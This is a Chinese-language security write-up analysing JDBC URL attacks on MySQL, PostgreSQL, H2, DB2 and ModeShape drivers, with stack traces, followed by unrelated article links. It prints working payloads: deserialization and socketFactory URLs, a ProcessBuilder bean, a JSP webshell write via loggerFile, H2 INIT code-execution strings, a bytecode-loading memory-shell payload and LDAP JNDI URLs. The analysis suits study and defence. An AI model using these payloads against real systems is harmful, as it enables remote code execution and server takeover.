Java安全之JDBC Attacks

写在前面

很早就看到了Make JDBC Attacks Brilliant Again议题,一直想分析学习下,但是太懒。

MySQL

原理概述

"扩展参数" 就是本次导致安全漏洞的一个重要的部分。

Mysql JDBC 中包含一个危险的扩展参数: ”autoDeserialize“。这个参数配置为 true 时,JDBC 客户端将会自动反序列化服务端返回的数据,这就产生了 RCE。

此时如果攻击者作为 MYSQL 服务器的角色,给客户端返回了恶意的序列化数据,客户端就会自动反序列化触发恶意代码,造成漏洞。

简单说一下流程,主要是用到两类参数

  • 自动检测与反序列化存在BLOB字段中的对象。 autoDeserialize
  • 触发反序列化
    • queryInterceptors,一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。
    • detectCustomCollations

通过ServerStatusDiffInterceptordetectCustomCollations触发查询语句SHOW SESSION STATUSSHOW COLLATION等,并调用resultSetToMap处理数据库返回的结果,而当autoDeserialize为true时会对server中返回的结果进行反序列化,从而造成代码执行

Driver:

  • mysql-connector-java 5.x: com.mysql.jdbc.Driver
  • mysql-connector-java 8.x: com.mysql.cj.jdbc.Driver

调试分析

queryInterceptors

测试代码

public static void main(String[] args) {
try{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}catch (Exception e){ } }

跟进到mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrl#getConnectionUrlInstance方法

首先在mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#parseConnectionString方法内解析jdbc串

返回的是ConnectionUrlParser对象,具体如下

继续往下看

mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#processKeyValuePattern循环解析Properties并添加到kvMap中,之后赋值给ConnectionUrlParser.parsedProperties字段

ConnectionImpl#setAutoCommit会赋值sql语句SET autocommit=1

ServerStatusDiffInterceptor#populateMapWithSessionStatusValues会去数据库执行查询SHOW SESSION STATUS,跟进ResultSetUtil.resultSetToMap(toPopulate, rs);

其中调用getObject,逻辑如下,先判断传说的数据流,这里走的是BLOB不过BIT好像也会反序列化,序列化数据存储在this.thisRow

第二个元素

最后就是java原生的反序列化了

堆栈

readObject:431, ObjectInputStream (java.io)
getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:21, Attack8x (org.su18.jdbc.attack.mysql.serverstatus)

detectCustomCollations

简单看一下,调用点在mysql-connector-java-5.1.19.jar!/com/mysql/jdbc/ConnectionImpl#buildCollationMapping

后面依旧是resultSetToMap中调用了getObject触发反序列化

堆栈

readObject:431, ObjectInputStream (java.io)
getObject:4984, ResultSetImpl (com.mysql.jdbc)
resultSetToMap:506, Util (com.mysql.jdbc)
buildCollationMapping:963, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3445, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2437, ConnectionImpl (com.mysql.jdbc)
createNewIO:2207, ConnectionImpl (com.mysql.jdbc)
<init>:797, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:389, ConnectionImpl (com.mysql.jdbc)
connect:305, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:22, Attack511x (org.su18.jdbc.attack.mysql.customcollations)

小结

简单小结一下,各个小版本间可利用的payload可以参考下面fnmsd师傅的图

autoDeserialize=true 使JDBC 客户端将会自动反序列化服务端返回的数据,这个过程通过getObjec方法触发

但默认情况下不会自动触发getObject,所以需要一个触发点

目前公开的有2种

  1. 拦截器queryInterceptors

    "queryInterceptors" 参数可以指定接口 com.mysql.cj.interceptors.QueryInterceptor 的子类,通过名字可以看到,这是一个起到”拦截器“作用的类。在这些拦截器的实现类中,可以修改或增强语句的某些子级所做的处理,例如自动检查 memcached 服务器中的查询数据、重写慢速查询、记录有关语句执行的信息,或将请求路由到远程服务器。总体来说,这是一个为查询提供自动化增强功能的参数。

ServerStatusDiffInterceptor 用于显示在查询之间服务器状态的差异,preProcess()/postProcess() 调用 populateMapWithSessionStatusValues()方法。

populateMapWithSessionStatusValues() 使用已经建立的 connection 创建并执行了一个新的语句 SHOW SESSION STATUS,并调用 ResultSetUtil.resultSetToMap() 处理返回结果。

resultSetToMap 中调用了之前我们提到的 getObject() 方法,连成了一条调用链。

queryInterceptors ==> ServerStatusDiffInterceptor

queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

  1. detectCustomCollations

    detectCustomCollations ==> detectCustomCollations=true



PostgreSQL

同理PostgreSQL的property也存在安全问题CVE-2022-21724

在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

影响范围:

  9.4.1208 <=PgJDBC <42.2.25

  42.3.0 <=PgJDBC < 42.3.2

这里主要记录两个点

  • socketFactory / socketFactoryArg 等property调用有参构造触发的RCE
  • loggerLevel / loggerFile 日志功能写文件

网上分析文章一大堆,之前也调试过,这次就简单记录一些点。

socketFactory/socketFactoryArg

有公开的一个poc,详情见

https://github.com/advisories/GHSA-v7wg-cpwc-24m4

jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>open -a Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>

测试代码

public class AttackPgsqlsocketFactory {

    public static void main(String[] args) throws Exception {

        String URL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8001/calc.xml";
DriverManager.registerDriver(new Driver());
Connection connection = DriverManager.getConnection(URL);
connection.close();
}
}

调试分析

首先在Driver#parseURL方法内是对jdbc字符串的处理,以indexof?作为分割符,拿到properties参数,后续将结果保存为Properties对象返回

后续关注对socketFactory这个Property的处理即可,跟进到SocketFactoryFactory#getSocketFactory方法。

先从前面解析jdbc串时 return的Properties对象中,获取socketFactory的类名,也就是org.springframework.context.support.ClassPathXmlApplicationContext

之后调用instantiate对其实例化处理,也是漏洞触发点,其中包含了PGProperty.SOCKET_FACTORY_ARG.get(info)的步骤

这里是一个任意类实例化的点,可以调用只有1个入参,参数类型为String的有参构造进行实例化

堆栈

instantiate:45, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:18, AttackPgsqlsocketFactory (me.zh1z3ven.jdbc.attack)

关于Pgsql的Properties其实可以看PGProperty.class里面都有对应的解释说明

在审计时可以将对应环境的classpath中的class拿出来通过静态分析工具去跑符合条件的类,说不准可以跑出不用出网的gadget

loggerLevel/loggerFile

poc

jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp

driver=org.postgresql.Driver&url=jdbc:postgresql://172.16.105.1/test/?loggerLevel=DEBUG&loggerFile=../webapps/ROOT/static/555.jsp&<%! \uxxx\uxxx%><%\uxxx%> =&user=test&pwd=123123

这个点不算复杂的,是log功能写文件,只是提一下写shell需要注意的一个地方,文件内容在下图地方会有一个处理

这里构造数据包时可以通过unicode编码shell内容=来进行shell写入,通过本身代码逻辑,让=截断掉前面的shell内容绕过URLDecoder的处理。其他的方式应该也可以,只要让=第一次出现的位置位于shell内容后面或者shell内容中不存在会让URLDecoder.decode抛异常的字符即可。

例如

<%! \uxxx\uxxx%><%\uxxx%>

H2

h2配置

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

而h2本身的console界面也是可以通过jdbc连接串来进行jndi利用的

除此之外ppt中给出了3条gadget

分别有不同的限制,RUNSCRIPT需要出网加载sql,groovy需要本地存在groovy依赖,那么看下来js是限制条件比较少的一个

简单跟了下h2的处理逻辑

抛开初始化部分,在h2-1.4.199.jar!/org/h2/engine/Engine#openSession开始进入jdbc连接串的处理,预处理时主要是初始化jdbc相关的信息,最终保存在ConnectionInfo对象内,而走入executeUpdate方法逻辑内后开始真正执行一些sql语句,恶意的sql为漏洞的触发点,而Litch1师傅给出的三条gadget也是分别从sql入手的 RUNSCRIPT/CREATE ALIAS/CREATE TRIGGER

三条gadget入口点都是INIT这个properties,重点关注h2对其的处理即可。

RUNSCRIPT

poc

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

调试分析

看到h2-1.4.199.jar!/org/h2/command/dml/RunScriptCommand#update方法,跟进this.openInput()

该方法去读去远端文件,将文件内容赋值给this.in

拿到sql语句后进入FunctionAlias.newInstanceFromSource开始处理

略过一些初始化,中间去判断了是否为groovy脚本等判断,之后进入h2-1.4.199.jar!/org/h2/engine/FunctionAlias#JavaMethod来构造一个JavaMethod对象,对象结构如下

之后跟进RunScriptCommand#this.execute()

最终在FunctionAlias$JavaMethod#getValue执行代码,可以看出底层也是反射去调用执行的

堆栈如下

exec:347, Runtime (java.lang)
shellexec:6, EXEC (org.h2.dynamic)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getValue:460, FunctionAlias$JavaMethod (org.h2.engine)
getValue:40, JavaFunction (org.h2.expression.function)
query:64, Call (org.h2.command.dml)
execute:77, RunScriptCommand (org.h2.command.dml)
update:58, RunScriptCommand (org.h2.command.dml)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:23, AttackH2ByRunScript (org.su18.jdbc.attack.h2)

Groovy+CREATE ALIAS

Poc

jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("open -a Calculator")})def x'

调试分析

通过ASTTest调用assert执行groovy代码

跟进到h2-1.4.199.jar!/org/h2/util/SourceCompiler#getClass方法,方法内逻辑很多,先只看groovy部分

其中通过sql语句是否startsWith//groovy@groovy来判断是否为groovy表达式

private static boolean isGroovySource(String var0) {
return var0.startsWith("//groovy") || var0.startsWith("@groovy");
}

而这里的CompilerGroovyCompiler,后续调用parseClass来执行groovy表达式

堆栈

exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:1, Script1
evaluate:427, GroovyShell (groovy.lang)
evaluate:461, GroovyShell (groovy.lang)
evaluate:436, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:114, ASTTestTransformation$1 (org.codehaus.groovy.transform)
lambda$compile$15:640, CompilationUnit (org.codehaus.groovy.control)
accept:-1, 1026055550 (org.codehaus.groovy.control.CompilationUnit$$Lambda$25)
ifPresent:159, Optional (java.util)
compile:640, CompilationUnit (org.codehaus.groovy.control)
doParseClass:389, GroovyClassLoader (groovy.lang)
lambda$parseClass$3:332, GroovyClassLoader (groovy.lang)
provide:-1, 482082765 (groovy.lang.GroovyClassLoader$$Lambda$4)
compute:163, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
getAndPut:154, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
parseClass:330, GroovyClassLoader (groovy.lang)
parseClass:314, GroovyClassLoader (groovy.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callMethod:536, Utils (org.h2.util)
callMethod:513, Utils (org.h2.util)
parseClass:509, SourceCompiler$GroovyCompiler (org.h2.util)
getClass:139, SourceCompiler (org.h2.util)
getMethod:234, SourceCompiler (org.h2.util)
loadFromSource:130, FunctionAlias (org.h2.engine)
load:118, FunctionAlias (org.h2.engine)
init:105, FunctionAlias (org.h2.engine)
newInstanceFromSource:97, FunctionAlias (org.h2.engine)
update:53, CreateFunctionAlias (org.h2.command.ddl)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:25, AttackH2ByGroovy (org.su18.jdbc.attack.h2)

JavaScript+CREATE TRIGGER

poc

String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";

调试分析

略过一些初始化的步骤,h2主要通过ConnectionInfo存储jdbc连接串等数据

跟进到h2-1.4.199.jar!/org/h2/engine/Engine#openSession,前面会将参数跟进init进行处理

会处理成如下格式

跟进var22.executeUpdate(false)

h2-1.4.199.jar!/org/h2/command/Parser#parse中会将jdbc串进行解析,

CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")'

变为

//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")

sink点在:

TriggerObject#loadFromSource方法,首先SourceCompiler.isJavaxScriptSource(this.triggerSource)//javascript#ruby来判断是js还是ruby语法

是js则之后调用eval执行js代码

执行任意字节码

尝试构造执行任意字节码的payload

H2对于init的格式化处理在ConnectionInfo#readSettingsFromURL中,部分逻辑如下

跟进 arraySplit其中可以看到,对于一些特殊字符可以通过\来进行转义,因为h2在parse jdbc字符串的时候是通过;分号进行分割properties的,而js中会经常用到;所以这里可以通过\;来保证不错误解析我们的jdbc串。

而js语句需要拼接到sql中,sql是通过'单引号包裹的,这里我们还需要把js中的'改成"

测试base64的会抛异常,用woodpecker JExpr表达式生成插件的JS-BigInteger可以正常食用,弹计算器payload如下:

String javascript = "//javascript\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader()\\;try{classLoader.loadClass(\"calc\").newInstance()\\;}catch (e){var clsString = classLoader.loadClass(\"java.lang.String\")\\;var bytecodeRaw = \"-5d0gv4aq1you8hawg2mpj9nktafb7tljy9bnbegiqsk808saabml7o3t292jac7i00g0728emolez6qs5k67no20hcir24qej6cwew6q09vwz5h9ydgv5lvhjuvabg6wg002x1wqucoc39whhg24i78rx95tfa7l4nxfk82v4vrhf8u47iss5as2z8nobqrr3os83kw253hd6yp7d6r69nukbn6eak5t561zempt8ic4i629qxwgg1yz98bvudk51jtwlji4rkpdsrqw63s3uq6skp4p6ghpd2gbw5ffb0n360re4s9e93l8jdu9hvr3slymqtt6w3dte1hrtz4jqmbwacxqvs2as2fojc6z6f9ramext15bqmqzccc8hweetz2e4ieeh13cjnl5lgec233xa40opzux1ullqtao1yedmj8y36taohdze4fgz8in9d1wm5avr4813tyg619hsga52or3n1n0i7ty6ly03777911d8g6dm2uzdb027awrhk9ph1mr5zri0j1jy6tzc6zy9y0h1o6qcoirl27fygukbdlqmu919tau2nd8kpt8gjaa70j4pduw3f74kplqujyh00bg2djvmaqv8by6htrm8vp4wsi3ktnlhddi4mxqfj34uwo0uozu9asg3sh9gevokmehh81gyxogy84eo0sd6p4rkhmx1wyqktm18u0iswb16bh272kl7f4w7zyhwnm48pwxgvb6m9h2kso2rnjukhc7mbe2fa9j2u3gj0dir7xferg1mxq26hcm2ihpkrhksfm535p9nimslh6q0ijn0ogwdzk91vf8b08n7ai4y13subxd4zrtvgq5e3q8mmlcyfulm6\"\\;var bytecode = new java.math.BigInteger(bytecodeRaw,36).toByteArray()\\;var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\")\\;var clsByteArray = \"a\".getBytes().getClass()\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt)\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length)\\;clazz.newInstance()\\;}";

burp发包时注意\n是回车,而不要直接在参数处输入字符\n需要用%0a,其他字符也url编码即可,且同一个类貌似只能加载一次。

注入内存马的包可能不会回显header,正常会报cannot be cast to org.h2.api.Trigger异常,这些属于正常情况不用管。

IBM DB2

poc

jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;

该property可以导致jndi

在此不搬运了,ppt中给出了详细的流程和sink点

ModeShape

通过jcr api可以触发jndi,同DB2,也是个jndi的利用

jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass

derby因为没怎么遇到过,SQLite利用成本高,(主要是我懒)在此不做分析

Reference

《Make JDBC Attacks Brilliant Again》议题

结语

厦门茉莉花的花语是:天天开心

Java安全之JDBC Attacks学习记录的更多相关文章

  1. Java 静态内部类与非静态内部类 学习记录.

    目的 为什么会有这篇文章呢,是因为我在学习各种框架的时候发现很多框架都用到了这些内部类的小技巧,虽然我平时写代码的时候基本不用,但是看别人代码的话至少要了解基本知识吧,另外到底内部类应该应用在哪些场合 ...

  2. java开源项目之IQQ学习记录之项目环境搭建与启动

    本文链接地址:http://blog.csdn.net/sushengmiyan/article/details/18779727 作者:sushengmiyan 现在就码字说说今天晚上搞定的一个项目 ...

  3. 《Java程序设计》第二周学习记录(2)

    目录 3.1 运算符与表达式 3.3 if条件分支语句 3.7 for语句与数组 参考资料 3.1 运算符与表达式 和C语言基本上没有区别,要注意的是关系运算符的输出结果是bool型变量 特别要注意算 ...

  4. 《Java程序设计》第二周学习记录(1)

    目录 第2章 基本数据类型与数组 2.1 标识符与关键字 2.2 基本数据类型 2.3 类型转换运算 2.4 输入.输出数据 2.5 数组 参考资料 第2章 基本数据类型与数组 2.1 标识符与关键字 ...

  5. 《Java程序设计》第一周学习记录(2)

    目录 使用JDB调试程序 系统文件被覆盖的挽救 参考资料 使用JDB调试程序 JDB是JDK自带的基于命令行的调试程序.我们先来man一下吧(说到这里,我之前在翻娄老师的博客的时候看到一篇文章:做中学 ...

  6. 《Java程序设计》第一周学习记录(1)

    目录 Windows安装JDK.Git Linux下安装JDK.Git.IDEA 参考资料 Windows安装JDK.Git 到官网直接下载JDK,双击安装程序就正常安装就行了. 下载完以后,可以看到 ...

  7. java开源项目之IQQ学习记录之单例模式与log4j日志记录

    作者:sushengmiyan 本文地址:http://blog.csdn.net/sushengmiyan/article/details/18992741 打开IQQ项目,打开包iqq.app中的 ...

  8. JAVA基础语法 我的学习记录

    1.标识符 Java所有的组成部分都需要名字.类名.变量名以及方法名都被称为标识符. 关于Java标识符,有以下几点需要注意: 所有的标识符都应该以字母(A-Z或者a-z),美元符($).或者下划线( ...

  9. 20175211 2018-2019-2 《Java程序设计》第二周学习总结

    目录 教材学习内容总结 第二章 第三章 教材学习中的问题和解决过程 代码调试中的问题和解决过程 代码托管 上周考试错题总结 其他(感悟.思考等,可选) 学习进度条 参考资料 教材学习内容总结 第二章 ...

  10. MYSQL的Java操作器——JDBC

    MYSQL的Java操作器--JDBC 在学习了Mysql之后,我们就要把Mysql和我们之前所学习的Java所结合起来 而JDBC就是这样一种工具:帮助我们使用Java语言来操作Mysql数据库 J ...

随机推荐

  1. 后端框架学习-----mybatis(4)

    文章目录 4.解决属性名和字段名不一致的问题 4.解决属性名和字段名不一致的问题 1.问题.数据库字段名和属性名不一致,导致查出的数据部分为空 2.resultMap(用于解决数据库表中的字段和属性) ...

  2. JavaScript基础&实战(1)js的基本语法、标识符、数据类型

    文章目录 1.JavaScript简介 2.输出语句 2.1 代码块 2.2 测试结果 3.JS编写位置 3.1代码 3.2 测试结果 4.基本语法 4.1 代码 5.标识符 5.1 代码 6.数据类 ...

  3. 2.httprunner-yaml用例结构

    前言: httprunner3.x版本弱化了api层的概念 直接在testcase中写request请求 如果是单个请求,也可以直接写成一个testcase 每个testcase必须具有两个类属性:c ...

  4. Dropout原理分析

    工作流程 dropout用于解决过拟合,通过在每个batch中删除某些节点(cell)进行训练,从而提高模型训练的效果. 通过随机化一个伯努利分布,然后于输入y进行乘法,将对应位置的cell置零.然后 ...

  5. 小菜鸡的学习笔记---<正则表达式(1)>

    正则表达式学习笔记(1) (纯新手学习笔记,大佬绕路 QAQ) 一.简介 正则表达式就是一种文本模式用来匹配一系列满足特定条件的字符串,可以对比一下数学里面的表达式,比如我们要用一个表达式表示一串数字 ...

  6. python(27)反射机制

    1. 什么是反射? 它的核心本质其实就是基于字符串的事件驱动,通过字符串的形式去操作对象的属性或者方法 2. 反射的优点 一个概念被提出来,就是要明白它的优点有哪些,这样我们才能知道为什么要使用反射. ...

  7. <四>构造函数初始化列表

    示例代码1 点击查看代码 class CDate{ public: CDate(int _year,int _month, int _day){ this->year=_year; this-& ...

  8. EasyExcel对大数据量表格操作导入导出

    前言 最近有个项目里面中有大量的Excel文档导入导出需求,数据量最多的文档有上百万条数据,之前的导入导出都是用apache的POI,于是这次也决定使用POI,结果导入一个四十多万的文档就GG了,内存 ...

  9. Codeforces Round #834 (Div. 3) A-G

    比赛链接 A 题目 知识点:模拟. 确定开头字母,然后循环比较即可. 时间复杂度 \(O(n)\) 空间复杂度 \(O(n)\) 题解 #include <bits/stdc++.h> # ...

  10. kubernetes笔记-1-基础环境部署

    一.环境信息: 操作系统:ubuntu 18.04 server amd64 docker:docker 19.03.ce kubernetes:v1.19 IP地址 主机名   角色 172.29. ...